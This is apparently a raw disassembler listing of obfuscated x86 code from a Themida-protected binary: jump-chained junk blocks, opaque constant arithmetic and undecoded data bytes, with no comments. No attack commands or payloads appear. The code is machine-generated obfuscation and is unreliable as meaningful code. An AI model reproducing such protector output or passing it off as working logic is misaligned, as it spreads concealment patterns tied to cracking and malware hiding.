; ---------------------------------------------------------------------------
loc_56C256: ; CODE XREF: Themida_:005725E1j
pop ebx
push eax
mov eax, 58236BECh
jmp loc_56132D
; ---------------------------------------------------------------------------
dw 0E801h
aLSvt db '‹,$éVT',0
align 4
loc_56C26C: ; CODE XREF: Themida_:00566F1Ej
mov [esp], ebp
sub esp, 4
mov [esp], esp
jmp loc_56CD6A
; ---------------------------------------------------------------------------
loc_56C27D: ; CODE XREF: Themida_:00573A84j
push eax
jmp loc_56179B
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 83000000h, 2C8704C5h, 91685C24h, 89000015h
dd 0EC81243Ch, 4, 81242489h, 42404h, 1FE90000h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C2AF: ; CODE XREF: Themida_:00569578j
mov [esp], ebp
push ecx
mov ecx, 79234C40h
jmp loc_56230A
; ---------------------------------------------------------------------------
db 0B9h, 1Ch, 51h
dd 0C9816C8Bh, 0DEA13A6h, 3259E9h, 0F0E94200h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C2D3: ; CODE XREF: Themida_:0056B0DAj
inc cl
sub cl, 85h
jmp loc_575F50
; ---------------------------------------------------------------------------
db 81h, 0CDh, 36h
dd 56160D69h, 615B99BEh, 0F3CE810Dh, 0C10C6236h, 0EEC103E6h
dd 9859E902h, 0E8290000h, 58C1015Dh, 4EC81h, 2C890000h
dd 3E69BD24h, 0ED810AF1h, 6D83688h, 15DE931h, 8191E9CFh
dd 0EB80FFFFh, 0F627E92Ah, 2489FFFFh, 24048124h, 4, 4EC8159h
dd 89000000h, 6EBD242Ch, 810EF415h, 0FA2609C5h, 0D826E96Ch
dd 0C483FFFFh, 1C4F0904h, 4CECE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C356: ; CODE XREF: Themida_:0057562Ej
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_5683F4
; ---------------------------------------------------------------------------
loc_56C362: ; CODE XREF: Themida_:0056ED2Bj
sub ecx, 1
sub ecx, 0DBFCB742h
add ebp, ecx
pop ecx
pop eax
inc ebp
push esi
push 0D7550B1h
pop esi
inc esi
xor esi, 1855190Eh
shr esi, 7
jmp loc_573F51
; ---------------------------------------------------------------------------
dw 3C8Bh
dd 4C48124h, 51000000h, 0C1815954h, 4, 0FF5B39E9h, 8BF529FFh
dd 0C4812434h, 4, 5EE9E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C3AE: ; CODE XREF: Themida_:0056F6C3j
mov [esp], ebx
mov ebx, 76845C59h
inc ebx
xor ebx, 21400DA7h
shr ebx, 2
add ebx, 0EA0EEB85h
sub edi, ebx
pop ebx
jmp loc_570C94
; ---------------------------------------------------------------------------
dw 34FFh
dd 243C8B24h, 4C481h, 0C4830000h, 4BA5204h, 1000000h, 0C0685AD7h
dd 89000041h, 0BB532404h, 75CF4234h, 4717E9h, 0BDF58100h
dd 0E98FE6BDh, 0FFFFFBE7h, 4C04EA81h, 68594B5Fh, 3542h
dd 0BE243489h, 589C43AAh, 0BC5AC681h, 0EA81A763h, 6DD53711h
dd 0FFCE51E9h, 4C581FFh, 0E9000000h, 70ECh, 3772C381h
dd 295879FFh, 76C068C3h, 3C890000h, 603C6824h, 3C8B49E3h
dd 0E3895324h, 0FF74A7E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h
dd 0FE015E5Ch, 83243C8Bh, 0EC8304C4h, 243C8904h, 75776850h
dd 0F7583C35h, 0D0F748D8h, 1B05CC2Dh, 8BC78921h, 0C4832404h
dd 5EFC104h, 8FEF814Fh, 0E968CE29h, 80C4h, 6859C801h, 2828h
dd 0B9240C89h, 4CBA386Dh, 0BE12E981h, 0A9E92D49h
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C4B7: ; CODE XREF: Themida_:0056BAFDj
push 29C3h
mov [esp], edi
jmp loc_56C81D
; ---------------------------------------------------------------------------
loc_56C4C4: ; CODE XREF: Themida_:005659EDj
mov edi, eax
pop eax
add dword ptr [esp+8], 2E5E2080h
sub [esp+8], edi
sub dword ptr [esp+8], 2E5E2080h
jmp loc_563DDA
; ---------------------------------------------------------------------------
dd 9C242CD3h, 0FF80C7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56C4E9: ; CODE XREF: Themida_:0056EEFAj
xor ebp, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 4
push edx
mov edx, 15205122h
xor edx, 27C23429h
add esi, edx
jmp loc_5720A4
; ---------------------------------------------------------------------------
loc_56C514: ; CODE XREF: Themida_:0056F24Dj
sub eax, 68836AA0h
jmp loc_56DE51
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFF830Fh, 0E4ABE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C52A: ; CODE XREF: Themida_:0056511Ej
pop edi
push esi
jmp loc_56112B
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0E7895724h, 4C781h, 0EF830000h, 0A396E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C546: ; CODE XREF: Themida_:00573035j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
mov eax, 36AAE91Eh
add ebp, eax
pop eax
add ebx, ebp
pop ebp
mov eax, [esp]
add esp, 4
push 5539h
mov [esp], edx
push 3DB65D4Fh
pop edx
jmp loc_564CD7
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4C28100h, 87000000h, 815C2414h, 4C2h, 2C28300h
dd 8B241487h, 0B60F2424h, 2E74E9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C59E: ; CODE XREF: Themida_:00567B92j
mov ebp, 59C064FDh
and edi, ebp
jmp loc_566AE1
; ---------------------------------------------------------------------------
aXhg db 'Xhƒ)',0
align 10h
dd 55240C89h, 380CC568h, 0F5815D11h, 60E65268h, 7B0DF581h
dd 0E9894BD9h, 14F7515Dh, 240C8B24h, 51E78957h, 4B9h, 8BCF0100h
dd 0C483240Ch, 4C78304h, 0FFE4BAE9h, 0BE5658FFh, 5AD63771h
dd 0C893C681h, 0F001A529h, 8124348Bh, 4C4h, 0A6E95600h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C607: ; CODE XREF: Themida_:00575F99j
mov [esp], ebx
push esi
push 1F0A6443h
jmp loc_572658
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0E0892404h, 405h, 42D00h, 4870000h, 0A524E924h
dd 685CFFFFh, 6012h, 54241C89h, 81241C8Bh, 4C4h, 364E6800h
dd 0C890000h, 33B6B924h, 0E1C10E56h, 0BCE98105h, 1CAC676h
dd 2434FFCBh, 0FFF87DE9h, 243C89FFh, 2BA2E9h
db 0
; ---------------------------------------------------------------------------
loc_56C66D: ; CODE XREF: Themida_:0056B838j
add edx, ebx
jmp loc_571417
; ---------------------------------------------------------------------------
loc_56C674: ; CODE XREF: Themida_:00569FE4j
pop edx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_562EEF
; ---------------------------------------------------------------------------
loc_56C684: ; CODE XREF: Themida_:005716A8j
mov edx, 53A9AA09h
mov esi, edx
pop edx
sub ecx, esi
pop esi
push ecx
mov edx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_56B758
; ---------------------------------------------------------------------------
loc_56C6A1: ; CODE XREF: Themida_:00574D5Ej
push dword ptr [esp]
pop ecx
jmp loc_57080F
; ---------------------------------------------------------------------------
loc_56C6AA: ; CODE XREF: Themida_:0056BB0Fj
mov ebx, [esp]
add esp, 4
push edi
mov edi, 4
add ebx, edi
jmp loc_568AE8
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0E9240C89h, 0FFFFFF4Dh, 98E96D04h, 4FFFFFDFh, 6BFC781h
dd 0F8897122h, 0FF849CE9h, 0B1E945FFh, 89FFFF54h, 405E0h
dd 39E90000h, 30FFFF91h, 2A2C5AD3h, 0E952D800h, 5C20h
dd 6917BF58h, 0C7297A17h, 3874E958h, 48F0000h, 9AE95C24h
dd 0BB0000A1h, 4C783320h, 0FFE141E9h, 5DEA29FFh, 295AD301h
dd 41EB81FBh, 0FF68F049h, 525F2434h, 5712E9h
db 0
; ---------------------------------------------------------------------------
loc_56C735: ; CODE XREF: Themida_:00565D48j
pop ecx
jmp loc_56D3FE
; ---------------------------------------------------------------------------
db 0BBh
dd 7CF9229Ah, 0F7EB8143h, 4B4B240Dh, 8103E3C1h, 0C35B1FEBh
dd 5493E952h, 34FF0000h, 240C8B24h, 4C481h, 0CE90000h
dd 81FFFF8Ch, 0A805EEBh, 0FFDA8980h, 565B2434h, 0C681E689h
dd 4, 0E9565557h, 148Ch
; ---------------------------------------------------------------------------
loc_56C784: ; CODE XREF: Themida_:00574CB2j
sub ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_56667E
; ---------------------------------------------------------------------------
dd 5B2414F7h, 0E9E9D3F7h, 0BB000052h, 19D85AF5h, 0A50FC381h
dd 0DA01E627h, 0BB53555Bh, 5C925EC9h, 0BFD49BBDh, 5BDD01F4h
dd 6803EDC1h, 34EFh, 0BE243489h, 3A24513Ch, 6DE1F681h
dd 0E681179Fh, 4F3E3E96h, 8105EEC1h, 4F0FA5EEh, 6E6C149h
dd 73EBC681h, 68E9A080h, 89FFFFDEh, 481240Ch, 0A776FD24h
dd 0EB815B1Dh, 1DA776FDh, 0FFDBBAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56C80D: ; CODE XREF: Themida_:0056AC70j
mov [esp], eax
jmp loc_564F35
; ---------------------------------------------------------------------------
db 80h, 0C4h, 0B9h
dd 460E9h
db 0
; ---------------------------------------------------------------------------
loc_56C81D: ; CODE XREF: Themida_:0056C4BFj
mov edi, 4
add edx, edi
jmp loc_565D5C
; ---------------------------------------------------------------------------
loc_56C829: ; CODE XREF: Themida_:00561435j
add edx, 0D0802302h
push edx
add dword ptr [esp], 25922CE2h
pop ebx
jmp loc_56287E
; ---------------------------------------------------------------------------
loc_56C83D: ; CODE XREF: Themida_:005721A3j
push esp
pop edi
jmp loc_563D65
; ---------------------------------------------------------------------------
dd 28C1F580h, 400459E8h, 5B2434FFh, 1431E9h
db 0
; ---------------------------------------------------------------------------
loc_56C855: ; CODE XREF: Themida_:00566FDCj
sub eax, 8E7781Bh
add eax, 2C825F9Fh
mov ecx, [esp]
add esp, 4
jmp loc_56785F
; ---------------------------------------------------------------------------
db 5Ah, 81h, 0CAh
dd 6B851698h, 0FF9ED4E9h, 35E95BFFh, 8B000098h, 0C4832404h
dd 74FF5704h, 8F5F0424h, 248B2404h, 2434FF24h, 4EA9E9h
dd 7F685900h, 8900001Fh, 2168243Ch, 5F4B2A1Eh, 0E902EFC1h
dd 0FFFF6E97h, 0BB53C229h, 22D6127Dh, 0F381DBF7h, 0B494AD9Eh
dd 35B8E9h
db 0
; ---------------------------------------------------------------------------
loc_56C8C5: ; CODE XREF: Themida_:00575379j
mov edx, 3A6865E5h
dec edx
neg edx
add edx, 7161BBDh
add edx, 6AB60ACFh
shr edx, 5
jmp loc_569868
; ---------------------------------------------------------------------------
db 81h, 0C6h, 56h
dd 0FF69D268h, 81582434h, 4C4h, 6A0CE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C8F6: ; CODE XREF: Themida_:005739E1j
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_574451
; ---------------------------------------------------------------------------
loc_56C90C: ; CODE XREF: Themida_:0056569Aj
add edi, 4
jmp loc_570C09
; ---------------------------------------------------------------------------
db 68h
dd 2A55h, 51240489h, 8D0EE9h
db 0
; ---------------------------------------------------------------------------
loc_56C925: ; CODE XREF: Themida_:00565857j
add eax, 66B74D26h
add eax, 714A0576h
sub edx, eax
pop eax
jmp loc_564DE5
; ---------------------------------------------------------------------------
db 0B3h
dd 5BDD00FCh, 0E8005B2Ch, 0FFDEE9E9h, 240C8BFFh, 4C481h
dd 0C52D0000h, 1512D0Ah, 0AC505D8h, 0D2E9512Dh
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C95F: ; CODE XREF: Themida_:005740CBj
pop esp
pop dword ptr [esp]
pop esp
div cl
movzx cx, ah
push ebp
push 344Fh
mov [esp], esp
push eax
jmp loc_566018
; ---------------------------------------------------------------------------
loc_56C979: ; CODE XREF: Themida_:005670A3j
and ebp, 3F46F8Eh
add ebp, 39696308h
or ebp, 720A5549h
dec ebp
xor ebp, 60004D61h
jmp loc_57302C
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 243C8900h, 2422E8BFh, 873DBB47h, 0FB29BFA4h, 5F2434FFh
dd 0C104C483h, 814305E3h, 569ECAC3h, 8DC6816Bh, 292CFD42h
dd 0E16DE9DEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C9CA: ; CODE XREF: Themida_:0056713Ej
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push 59FCh
mov [esp], eax
jmp loc_56F19D
; ---------------------------------------------------------------------------
loc_56C9DE: ; CODE XREF: Themida_:00569F52j
sub ebp, 1B57755Eh
xor ebp, 0DC12368Ch
mov edi, ebp
pop ebp
add ebp, edi
jmp loc_574CB1
; ---------------------------------------------------------------------------
loc_56C9F4: ; CODE XREF: Themida_:00564175j
sub eax, ebp
jmp loc_56DF22
; ---------------------------------------------------------------------------
loc_56C9FB: ; CODE XREF: Themida_:00563EE3j
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
movzx eax, al
mov dx, [esp]
jmp loc_56E0C5
; ---------------------------------------------------------------------------
loc_56CA13: ; CODE XREF: Themida_:0056AF59j
push ebx
mov ebx, 4
add edx, ebx
pop ebx
push ebp
mov ebp, 53327D36h
not ebp
shl ebp, 5
xor ebp, 99B05924h
jmp loc_56416E
; ---------------------------------------------------------------------------
loc_56CA32: ; CODE XREF: Themida_:00570869j
xor al, cl
mov ecx, [esp]
add esp, 4
jmp loc_564BCB
; ---------------------------------------------------------------------------
db 0BEh
dd 2, 335EF301h, 0B9E9241Ch, 59FFFFD0h, 0FFFC9AE9h, 1479BAFFh
dd 0E3B86D9Ch, 1BAC740h, 0A1C2E9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 5C5C638Bh
dec eax
add eax, 0A3A39C7Ah
add ebp, eax
pop eax
jmp loc_5666C7
; ---------------------------------------------------------------------------
db 0C0h, 0EFh, 6
dd 0E9EBB652h, 0FFFFC85Fh, 41B8E981h, 0D12901E8h, 41B8C181h
dd 55E901E8h, 66FFFFBBh, 28E02C5Ah, 0E7E953D8h, 4A00002Bh
dd 0C103EAC1h, 0EA8102E2h, 0FFFFFFFFh, 0C281D2F7h, 0E7E341Dh
dd 6FE9D031h, 89FFFF6Eh, 0E789243Ch, 0F135E950h, 0BB53FFFFh
dd 4, 6769EA81h, 0DA011BF0h, 6769C281h, 0E95B1BF0h, 0FFFFA8B3h
dd 5C243487h, 4246C81h, 65EF5986h, 203BB53h, 5C0107EEh
dd 0BCE90824h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56CB03: ; CODE XREF: Themida_:0056D3AFj
shl edx, 1
push esi
mov esi, esp
jmp loc_56744F
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 14B7E924h, 0EA810000h, 25067686h, 0C281F229h, 25067686h
dd 4EC835Eh, 7669E9h, 3E1C100h, 0D327E981h, 0CB29B653h
dd 0FF88BBE9h, 256852FFh, 5A186F46h, 7241E9h, 56E78900h
dd 4BEh, 5EF70100h, 4C781h, 0FF570000h, 5F042474h, 0E924048Fh
dd 0FFFF5838h, 5D19C381h, 0F3010460h, 5D19EB81h, 685E0460h
dd 2D84h, 0FF4CC1E9h, 20C781FFh, 2924B925h, 20EF81CFh
dd 8724B925h, 0E1D15FF9h, 21C7C181h, 0C9816DA9h, 2BA6401Bh
dd 7936C181h, 0F1E9456Bh, 89FFFFF8h, 0CBBD242Ch, 55144F79h
dd 875F5D57h, 8D8EE9D7h, 0B4500000h, 0BC38077h, 0EB80E328h
dd 618EE90Bh, 0EC810000h, 4, 81242489h, 42404h, 0E0E90000h
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56CBE3: ; CODE XREF: Themida_:0056A7FEj
mov ebp, 0F790576h
jmp loc_56F072
; ---------------------------------------------------------------------------
loc_56CBED: ; CODE XREF: Themida_:00575908j
push ebx
mov ebx, 40E91B16h
jmp loc_569D1F
; ---------------------------------------------------------------------------
dd 51241C89h, 0FF8A5FE9h, 0EC815BFFh, 4, 54240489h, 4EC8358h
dd 0E9243C89h, 7B0Bh, 0BAE9DFF7h
db 60h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56CC1F: ; CODE XREF: Themida_:00571E90j
xor edx, 7BB3150Bh
add ebp, edx
jmp loc_5610B4
; ---------------------------------------------------------------------------
dd 6E95466h, 53FFFFD7h, 0C381E389h, 4, 8704EB83h, 0D7E9241Ch
dd 81FFFF5Ah, 994483C3h, 92EB816Fh, 8129793Dh, 0FA3584EBh
dd 36BD550Eh, 452CE367h, 204CE581h, 0D5F73F5Bh, 2EDC145h
dd 1ED81h, 0ED810000h, 0B11BF295h, 0FFF335E9h, 7FEC80FFh
dd 8876F480h, 24048BE6h, 0FFB445E9h, 0CD8159FFh, 53F306C5h
dd 0E906E5C1h, 0FFFFD310h, 0E9240487h, 0FFFFF547h, 8924248Bh
dd 93E9240Ch, 33FFFF43h, 248B2404h, 4388E924h, 8B66FFFFh
dd 0E9532434h, 499Fh
; ---------------------------------------------------------------------------
loc_56CCC4: ; CODE XREF: Themida_:0057098Fj
pop edx
jmp loc_5734A5
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 8B241C87h, 0B6682424h, 89000016h, 0E9532414h, 0FFFF55EAh
dd 8904EC83h, 4832424h, 348B0424h, 4C48124h, 55000000h
dd 8D717FBDh, 7BED8150h, 0E9508D71h, 0FFFFE22Ah
; ---------------------------------------------------------------------------
loc_56CD08: ; CODE XREF: Themida_:0056191Aj
mov edx, 78EF24DCh
sub edx, 79012771h
jmp loc_576892
; ---------------------------------------------------------------------------
loc_56CD18: ; CODE XREF: Themida_:00573952j
mov ch, bl
mov ebx, [esp]
jmp loc_563E63
; ---------------------------------------------------------------------------
dw 34FFh
dd 9FE95824h, 0F6000002h, 0E99C241Ch, 0FFFF430Eh, 3D4BF57h
dd 0FA8959B6h, 4E2C15Fh, 8FE94A4Ah, 5EFFFFDAh, 8A5AE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56CD4E: ; CODE XREF: Themida_:00565154j
mov edi, 4
jmp loc_57324B
; ---------------------------------------------------------------------------
dd 2B32CF81h, 814728A5h, 36029AE7h, 0AE7EE94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56CD6A: ; CODE XREF: Themida_:0056C278j
sub esp, 4
mov [esp], edx
push ebp
jmp loc_56F612
; ---------------------------------------------------------------------------
db 0F6h, 0D0h, 0FEh
dd 2CC8FEC8h, 0E9C30034h, 0FFFF5430h, 2620E94Ah, 34FF0000h
dd 2434FF24h, 0E0895058h, 4BB5351h, 89000000h, 0C8015BD9h
dd 3FB8E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56CDAA: ; CODE XREF: Themida_:00568A5Fj
pop ecx
push ecx
mov ecx, 279D390Dh
or esi, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
mov eax, 5216547Fh
inc eax
push edx
mov edx, 7A990707h
and eax, edx
pop edx
xor eax, 78D348BCh
jmp loc_567060
; ---------------------------------------------------------------------------
loc_56CDE0: ; CODE XREF: Themida_:005735C0j
pop edi
jmp loc_561997
; ---------------------------------------------------------------------------
dw 81ADh
dd 0A96C09C6h, 0E9C6011Bh, 0FFFF9FFCh
; ---------------------------------------------------------------------------
loc_56CDF4: ; CODE XREF: Themida_:00563E18j
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_56BB1E
; ---------------------------------------------------------------------------
aF3Ssk db 'f3,$ééK',0
db 0
; ---------------------------------------------------------------------------
loc_56CE09: ; CODE XREF: Themida_:0056B8E1j
push ebx
mov ebx, 11741668h
jmp loc_568755
; ---------------------------------------------------------------------------
dd 3260BF57h, 0FB894C7Ah, 0F7E9435Fh, 50FFFF8Fh, 0D9B8EFB8h
dd 0E9C501CDh, 4FC0h, 4C681h, 0E9510000h, 0FFFF65CEh, 0B03F33BBh
dd 1EB8154h, 53000000h, 0FFF94FE9h, 37B652FFh, 0E95AF520h
dd 2DFh, 0E99C5066h, 0FFFF41E2h, 0DD0A3BB9h, 0A3FBE15h
dd 0CE3115DDh, 30EF8159h, 0E94CFB3Dh, 0FFFFB231h
; ---------------------------------------------------------------------------
loc_56CE78: ; CODE XREF: Themida_:0056E250j
shl ebx, 3
jmp loc_56F42E
; ---------------------------------------------------------------------------
dd 3702F781h, 0EF812384h, 782479BAh, 52EF781h, 0CF812FD3h
dd 7C084498h, 0F781E7D1h, 0A7E648E5h, 69E9FE01h, 54FFFFBFh
dd 471E9h, 24148900h, 0C86F64BAh, 8BD00128h, 34E92414h
db 9Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56CEBF: ; CODE XREF: Themida_:0057083Ej
inc dword ptr [esp]
pop edi
push ebx
mov ebx, 10330057h
xor edi, ebx
pop ebx
shl edi, 6
xor edi, 0D623F789h
push edi
not dword ptr [esp]
pop edi
neg edi
push ebx
mov ebx, 0A17071Eh
and ebx, 15FE210Eh
push eax
mov eax, 4D0213BAh
sub ebx, eax
pop eax
and ebx, 19A6605Fh
jmp loc_56FC68
; ---------------------------------------------------------------------------
dd 39FC685Eh, 1C890000h, 0C5895524h, 60C4E9h, 0C4835D00h
dd 1C58104h, 55089BF9h, 7B243481h, 5B67EA10h, 0FFD470E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56CF25: ; CODE XREF: Themida_:0056C1B0j
mov ecx, [esp]
add esp, 4
push ecx
jmp loc_562405
; ---------------------------------------------------------------------------
loc_56CF31: ; CODE XREF: Themida_:00568453j
push 50E6h
mov [esp], eax
add dword ptr [esp], 2A095D2Dh
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 0AAh
jmp loc_564CC6
; ---------------------------------------------------------------------------
loc_56CF5D: ; CODE XREF: Themida_:00569FF1j
push edx
push ecx
mov ch, bh
jmp loc_565C40
; ---------------------------------------------------------------------------
loc_56CF66: ; CODE XREF: Themida_:00574B03j
pop ebx
push eax
mov eax, 4A010B6Eh
push ecx
mov ecx, eax
mov ebp, ecx
pop ecx
pop eax
jmp loc_56E9DB
; ---------------------------------------------------------------------------
loc_56CF79: ; CODE XREF: Themida_:005734BCj
or eax, 5AE3287h
jmp loc_56A811
; ---------------------------------------------------------------------------
db 89h
dd 0F8E92404h, 83000063h, 0E98104C4h, 3ED84169h, 0EC81E901h
dd 4, 2ECFE9h, 26B45000h, 8058E688h, 0F02893C6h, 0FF5484E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56CFB1: ; CODE XREF: Themida_:00572008j
add bl, al
pop eax
add bl, al
sub bl, 0F3h
pop eax
jmp loc_571C67
; ---------------------------------------------------------------------------
db 8Bh
dd 89522404h, 4DB4E9E2h, 0A168FFFFh, 89000063h, 0E6892434h
dd 4C681h, 0BD550000h, 4, 343CC681h, 0EE812F84h, 228E36C0h
dd 0C681EE29h, 228E36C0h, 0FF8B00E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56CFF9: ; CODE XREF: Themida_:00564044j
pop edi
sub ecx, 4
jmp loc_5721B7
; ---------------------------------------------------------------------------
db 0FEh, 0CCh, 0F6h
dd 0B65266D4h, 66F4001Dh, 5124148Bh, 34CE9h, 0E9F20900h
dd 0FFFF735Eh, 52243489h, 3038F9BAh, 0DD8EBE17h, 0D6013D6Eh
dd 7743E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D036: ; CODE XREF: Themida_:0056DA97j
push ebp
push esp
pop ebp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
inc esi
shl esi, 4
xor esi, 1E3982B4h
jmp loc_56F69F
; ---------------------------------------------------------------------------
db 87h
dd 0F65C2414h, 0B60F66E1h, 4EC83CCh, 0E9241489h, 0FFFF67A8h
dd 0E95B55BBh, 0B2C38170h, 2936913Dh, 40E9E9DFh, 0C3810000h
dd 4, 0E904C383h, 0FFFF8D5Bh, 0C4EE815Dh, 813E5405h, 4ECh
dd 24048900h, 0D2455BB8h, 5DEE2D66h, 11254A86h, 52204A16h
dd 0A47094BAh, 5AD03125h, 21B0E9h
db 0
; ---------------------------------------------------------------------------
loc_56D0BD: ; CODE XREF: Themida_:0056A3E8j
xchg edi, [esp]
pop esp
mov [esp], esi
push eax
push edx
mov edx, 53E3000Bh
neg edx
jmp loc_562224
; ---------------------------------------------------------------------------
dw 8F5Bh
dd 248B2404h, 66566624h, 22474FFh, 250BE9h, 0E0E95000h
dd 0FFFFFF7Eh, 0E9042474h, 0FFFF544Dh, 41C968h, 24148900h
dd 419EE9h, 0C8B5B00h, 0DFB0E924h, 0BE56FFFFh, 2, 2347C581h
dd 0F50164E6h, 2347ED81h, 875E64E6h, 248B242Ch, 0BE0F6624h
dd 0FFE951C8h
db 8Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D12F: ; CODE XREF: Themida_:0056BAF7j
mov edi, [esp]
jmp loc_56F9D2
; ---------------------------------------------------------------------------
db 80h
dd 0EA28E1EDh, 4AF36859h, 6AE90000h, 80000092h, 0E5C0F5E5h
dd 0B7CD8008h, 28A0C580h, 2AE959EBh, 8B000085h, 0C483240Ch
dd 6B3B6804h, 0C890000h
dword_56D168 dd 4B924h, 0EA810000h, 50E53E5Ah, 0C281CA01h, 50E53E5Ah
; DATA XREF: Themida_:00567F75o
dd 83240C8Bh, 0E95204C4h, 0FFFF44DFh
; ---------------------------------------------------------------------------
loc_56D188: ; CODE XREF: Themida_:00573582j
sub esi, ebx
pop ebx
xchg esi, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_56129B
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 6EAC108h, 5438B850h, 0C23110BDh, 5124048Bh, 97EBE9h
db 0
; ---------------------------------------------------------------------------
loc_56D1B5: ; CODE XREF: Themida_:00565B71j
add edi, ebp
pop ebp
push eax
jmp loc_5639D3
; ---------------------------------------------------------------------------
loc_56D1BE: ; CODE XREF: Themida_:00564D06j
mov [esp], cx
jmp loc_564239
; ---------------------------------------------------------------------------
db 81h
dd 4C5h, 4B85000h, 29000000h, 1624E9C5h, 0C6810000h, 4
dd 7BE1E956h, 0CF090000h, 0E9685059h, 58738C34h, 96D6F796h
dd 906F4205h, 8BC72184h, 0C4812404h, 4, 1E97E781h, 0C7811649h
dd 65F910B0h, 6677C781h, 0FA31918Bh, 83243C8Bh, 0C28104C4h
dd 1D7DDF52h, 49BFC581h, 0CDE9362Eh
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D22F: ; CODE XREF: Themida_:00574D89j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_5635E8
; ---------------------------------------------------------------------------
dw 0ED81h
dd 0B337035Fh, 7E0DED81h, 0FD2901E1h, 7E0DC581h, 0DFE901E1h
db 8Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D25B: ; CODE XREF: Themida_:00572EE1j
xor [esp], ebp
push 1FFBh
mov [esp], ebp
xchg ebx, [esp]
not ebx
jmp loc_561364
; ---------------------------------------------------------------------------
dd 4C281h, 0C2810000h, 4, 5C241487h, 81E38953h, 4C3h, 4C38300h
dd 0FFE634E9h, 0E66851FFh, 59508851h, 51E2E981h, 0CF895088h
dd 91C0E959h, 0C890000h, 3C76B924h, 0BB535A3Ch, 3DA02318h
dd 79D9CB81h, 0F3816558h, 734E042Bh, 0FFC03EE9h, 0E9D189FFh
dd 0FFFFBEBEh, 28B6664h, 76A668h, 24148900h, 301E9h, 48B6600h
dd 2F266824h, 3C890000h, 565F5424h, 701968h, 24048900h
dd 3F0B1EB8h, 2E8C12Eh, 2F961235h, 344E911h, 0EF800000h
dd 0E9512CBAh, 0FFFFE4EEh
; ---------------------------------------------------------------------------
loc_56D310: ; CODE XREF: Themida_:00567614j
xchg ebx, [esp]
pop esp
push 7A80h
jmp loc_5660DA
; ---------------------------------------------------------------------------
dw 815Bh
dd 4C3h, 4359E900h, 0EA81FFFFh, 3A1967DAh, 0EC81FA01h
dd 4, 0BF243C89h, 646C1110h, 547BB53h, 0D3F709C5h, 6108CB81h
dd 0C38117ABh, 46F43E71h, 6ED0E381h, 0CB81309Ah, 7C71491Ah
dd 9476E9h, 81E18900h, 4C1h, 2C18100h, 87000000h, 248B240Ch
dd 53CCFE24h, 0FC0072B7h, 58E5305Bh, 3D6068h, 241C8900h
dd 0FF4C79E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56D391: ; CODE XREF: Themida_:0056990Cj
and ebx, ebp
push dword ptr [esp]
pop ebp
push 2A2Dh
jmp loc_56767E
; ---------------------------------------------------------------------------
loc_56D3A1: ; CODE XREF: Themida_:0056F06Dj
xchg eax, [esp]
pop esp
and eax, edi
mov edi, [esp]
add esp, 4
or edx, eax
jmp loc_56CB03
; ---------------------------------------------------------------------------
